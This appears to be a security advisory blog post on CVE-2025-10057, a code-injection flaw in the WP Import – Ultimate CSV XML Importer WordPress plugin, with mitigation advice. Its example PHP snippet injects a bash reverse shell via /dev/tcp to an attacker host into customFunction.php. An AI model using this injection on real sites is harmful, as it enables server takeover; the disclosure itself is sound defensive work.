Overview
This blog post provides an in-depth exploration of the recently discovered vulnerability CVE-2025-10057, which exposes users of the WP Import – Ultimate CSV XML Importer for WordPress plugin to a potential Remote Code Execution (RCE) attack. It affects all WordPress sites using versions up to, and including, 7.28 of the WP Import plugin. This vulnerability matters because it allows attackers with Subscriber-level access to potentially compromise the entire system or even leak sensitive data.
Vulnerability Summary
CVE ID: CVE-2025-10057
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: Low (Subscriber-level Access)
User Interaction: Required
Impact: Potential system compromise and data leakage
Affected Products
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Product | Affected Versions
WP Import | Up to and including 7.28
How the Exploit Works
The WP Import plugin has a function called write_to_customfile() which writes PHP code to a file. This function is vulnerable because it does not filter the PHP code it writes, making it possible for an attacker to inject malicious PHP code. If an authenticated attacker with at least Subscriber-level access successfully exploits this vulnerability, they can manipulate the customFunction.php file, leading to remote code execution.
Conceptual Example Code
This conceptual example demonstrates how an attacker might exploit this vulnerability:
<?php
// Attacker injects malicious code into the customFunction.php file
$injection = '<?php exec("/bin/bash -c \'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1\'"); ?>';
write_to_customfile($injection);
?>In this example, the injected code would open a reverse shell to a remote server controlled by the attacker. Once the customFunction.php file is accessed, the injected code is executed, providing the attacker with control over the server.
Mitigation
The most effective way to mitigate this vulnerability is to apply the patch provided by the vendor. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, this should not replace patching the plugin as soon as possible. Regularly updating software and plugins to the latest versions is a crucial part of maintaining a strong security posture.
